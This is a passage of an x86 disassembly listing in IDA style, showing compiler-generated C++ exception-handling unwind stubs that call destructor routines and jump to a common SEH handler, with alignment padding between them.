locret_438A86 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_438A86: ; CODE XREF: ___:00438A78j retn ; --------------------------------------------------------------------------- loc_438A87: ; DATA XREF: ___:0043F124o lea ecx, [ebp-34h] jmp sub_40158C ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A430 proc near ; DATA XREF: sub_40A430+2o mov eax, offset dword_43F0F8 jmp sub_4367C8 SEH_40A430 endp ; --------------------------------------------------------------------------- align 10h dd 90C84D8Dh, 0C569CCE9h db 75h ; --------------------------------------------------------------------------- loc_438AB9: ; DATA XREF: ___:0040A952o mov eax, offset dword_43F138 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40AE10 proc near ; DATA XREF: sub_40AE10+5o mov eax, offset dword_43F168 jmp sub_4367C8 SEH_40AE10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40AF90 proc near ; DATA XREF: sub_40AF90+5o mov eax, offset dword_43F1C8 jmp sub_4367C8 SEH_40AF90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_438AFB: ; DATA XREF: ___:0043F254o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401555 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B0B0 proc near ; DATA XREF: sub_40B0B0+2o mov eax, offset dword_43F228 jmp sub_4367C8 SEH_40B0B0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_438B4B: ; DATA XREF: ___:0043F29Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401555 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B170 proc near ; DATA XREF: sub_40B170+2o mov eax, offset dword_43F270 jmp sub_4367C8 SEH_40B170 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B210 proc near ; DATA XREF: sub_40B210+2o mov eax, offset dword_43F2B8 jmp sub_4367C8 SEH_40B210 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438BC8: ; DATA XREF: ___:0043F324o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B430 proc near ; DATA XREF: sub_40B430+2o mov eax, offset dword_43F2F8 jmp sub_4367C8 SEH_40B430 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438BF8: ; DATA XREF: ___:0040B5F2o mov eax, offset dword_43F338 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438C30: ; DATA XREF: ___:0040B8D8o mov eax, offset dword_43F368 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C360 proc near ; DATA XREF: sub_40C360+2o mov eax, offset dword_43F3B0 jmp sub_4367C8 SEH_40C360 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A78h] jmp loc_401AFF ; --------------------------------------------------------------------------- loc_438C7B: ; DATA XREF: ___:0043F40Co lea ecx, [ebp-0A3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438C86: ; DATA XREF: ___:0043F414o lea ecx, [ebp-0A54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C400 proc near ; DATA XREF: sub_40C400+8o mov eax, offset dword_43F3E0 jmp sub_4367C8 SEH_40C400 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CB10 proc near ; DATA XREF: sub_40CB10+2o mov eax, offset dword_43F428 jmp sub_4367C8 SEH_40CB10 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-260h] jmp loc_40226B ; --------------------------------------------------------------------------- loc_438CEB: ; DATA XREF: ___:0043F484o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438CF6: ; DATA XREF: ___:0043F48Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D01: ; DATA XREF: ___:0043F494o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D0C: ; DATA XREF: ___:0043F49Co lea ecx, [ebp-278h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CBB0 proc near ; DATA XREF: sub_40CBB0+8o mov eax, offset dword_43F458 jmp sub_4367C8 SEH_40CBB0 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D4B: ; DATA XREF: ___:0043F4D4o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CE60 proc near ; DATA XREF: sub_40CE60+2o mov eax, offset dword_43F4A8 jmp sub_4367C8 SEH_40CE60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D7B: ; DATA XREF: ___:0043F50Co mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D86: ; DATA XREF: ___:0040CEE2o mov eax, offset dword_43F4E0 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D130 proc near ; DATA XREF: sub_40D130+2o mov eax, offset dword_43F518 jmp sub_4367C8 SEH_40D130 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-16Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438DEB: ; DATA XREF: ___:0043F58Co lea ecx, [ebp-184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D580 proc near ; DATA XREF: sub_40D580+2o mov eax, offset dword_43F560 jmp sub_4367C8 SEH_40D580 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-5ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-604h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-634h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-664h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-67Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-61Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-58Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-694h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-64Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40DB40 proc near ; DATA XREF: sub_40DB40+2o mov eax, offset dword_43F5D0 jmp sub_4367C8 SEH_40DB40 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438F28: ; DATA XREF: ___:0043F694o lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E220 proc near ; DATA XREF: sub_40E220+2o mov eax, offset dword_43F668 jmp sub_4367C8 SEH_40E220 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438F78: ; DATA XREF: ___:0043F6ECo lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E7A0 proc near ; DATA XREF: sub_40E7A0+2o mov eax, offset dword_43F6C0 jmp sub_4367C8 SEH_40E7A0 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438FC8: ; DATA XREF: ___:0043F744o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40EC30 proc near ; DATA XREF: sub_40EC30+2o mov eax, offset dword_43F718 jmp sub_4367C8 SEH_40EC30 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40ED70 proc near ; DATA XREF: sub_40ED70+2o mov eax, offset dword_43F758 jmp sub_4367C8 SEH_40ED70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439018: ; DATA XREF: ___:0043F7B4o lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439048: ; DATA XREF: ___:0040F148o mov eax, offset dword_43F788 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_439078: ; DATA XREF: ___:0043F814o mov ecx, [ebp-28h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2ACh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2DAh jmp sub_401B54 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40F600 proc near ; DATA XREF: sub_40F600+2o mov eax, offset dword_43F7E8 jmp sub_4367C8 SEH_40F600 endp ; --------------------------------------------------------------------------- db 69h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_439268: ; DATA XREF: ___:0043F974o mov ecx, [ebp-10h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2ACh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40FDA0 proc near ; DATA XREF: sub_40FDA0+2o mov eax, offset dword_43F948 jmp sub_4367C8 SEH_40FDA0 endp ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-247Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43939B: ; DATA XREF: ___:0043FA2Co lea ecx, [ebp-210Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-207Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393B1: ; DATA XREF: ___:0043FA3Co lea ecx, [ebp-237Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393BC: ; DATA XREF: ___:0043FA44o lea ecx, [ebp-21CCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393C7: ; DATA XREF: ___:0043FA4Co lea ecx, [ebp-234Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393D2: ; DATA XREF: ___:0043FA54o lea ecx, [ebp-2064h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393DD: ; DATA XREF: ___:0043FA5Co lea ecx, [ebp-231Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393E8: ; DATA XREF: ___:0043FA64o lea ecx, [ebp-219Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393F3: ; DATA XREF: ___:0043FA6Co lea ecx, [ebp-20DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-22ECh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439409: ; DATA XREF: ___:0043FA7Co lea ecx, [ebp-22BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439414: ; DATA XREF: ___:0043FA84o lea ecx, [ebp-23DCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43941F: ; DATA XREF: ___:0043FA8Co lea ecx, [ebp-216Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43942A: ; DATA XREF: ___:0043FA94o lea ecx, [ebp-2424h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-23F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-228Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-225Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439499: ; DATA XREF: ___:0043FADCo lea ecx, [ebp-213Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394A4: ; DATA XREF: ___:0043FAE4o mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_4394B2: ; DATA XREF: ___:0043FAECo mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-21FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-222Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394E1: ; DATA XREF: ___:0043FB0Co lea ecx, [ebp-2394h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23ACh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394F7: ; DATA XREF: ___:0043FB1Co lea ecx, [ebp-2334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2364h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43950D: ; DATA XREF: ___:0043FB2Co lea ecx, [ebp-2304h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439518: ; DATA XREF: ___:0043FB34o lea ecx, [ebp-22D4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439523: ; DATA XREF: ___:0043FB3Co mov ecx, [ebp-2480h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43952E: ; DATA XREF: ___:0043FB44o lea ecx, [ebp-22A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439539: ; DATA XREF: ___:0043FB4Co lea ecx, [ebp-2244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43954F: ; DATA XREF: ___:0043FB64o lea ecx, [ebp-2214h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43955A: ; DATA XREF: ___:0043FB74o lea ecx, [ebp-21E4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439565: ; DATA XREF: ___:0043FB7Co lea ecx, [ebp-2184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21B4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43957B: ; DATA XREF: ___:0043FB94o lea ecx, [ebp-243Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-240Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439591: ; DATA XREF: ___:0043FBACo lea ecx, [ebp-2124h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2154h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4395A7: ; DATA XREF: ___:0043FBBCo lea ecx, [ebp-20F4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4395B2: ; DATA XREF: ___:0043FBC4o lea ecx, [ebp-2094h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2464h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4395D3: ; DATA XREF: sub_40FF60+8o mov eax, offset dword_43FA00 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 93h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411860 proc near ; DATA XREF: sub_411860+2o mov eax, offset dword_43FC10 jmp sub_4367C8 SEH_411860 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411910 proc near ; DATA XREF: sub_411910+2o mov eax, offset dword_43FC40 jmp sub_4367C8 SEH_411910 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4396B8: ; DATA XREF: ___:0043FC9Co mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411990 proc near ; DATA XREF: sub_411990+2o mov eax, offset dword_43FC70 jmp sub_4367C8 SEH_411990 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439718: ; DATA XREF: ___:0043FCF4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411A50 proc near ; DATA XREF: sub_411A50+2o mov eax, offset dword_43FCC8 jmp sub_4367C8 SEH_411A50 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411B40 proc near ; DATA XREF: sub_411B40+8o mov eax, offset dword_43FD20 jmp sub_4367C8 SEH_411B40 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4397E8: ; DATA XREF: ___:0043FDCCo lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411FE0 proc near ; DATA XREF: sub_411FE0+8o mov eax, offset dword_43FDA0 jmp sub_4367C8 SEH_411FE0 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- loc_439890: ; DATA XREF: ___:0043FE6Co lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-48h] and eax, 1 test eax, eax jz locret_4398AE mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_4398AE: ; CODE XREF: ___:004398A0j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4126B0 proc near ; DATA XREF: sub_4126B0+2o mov 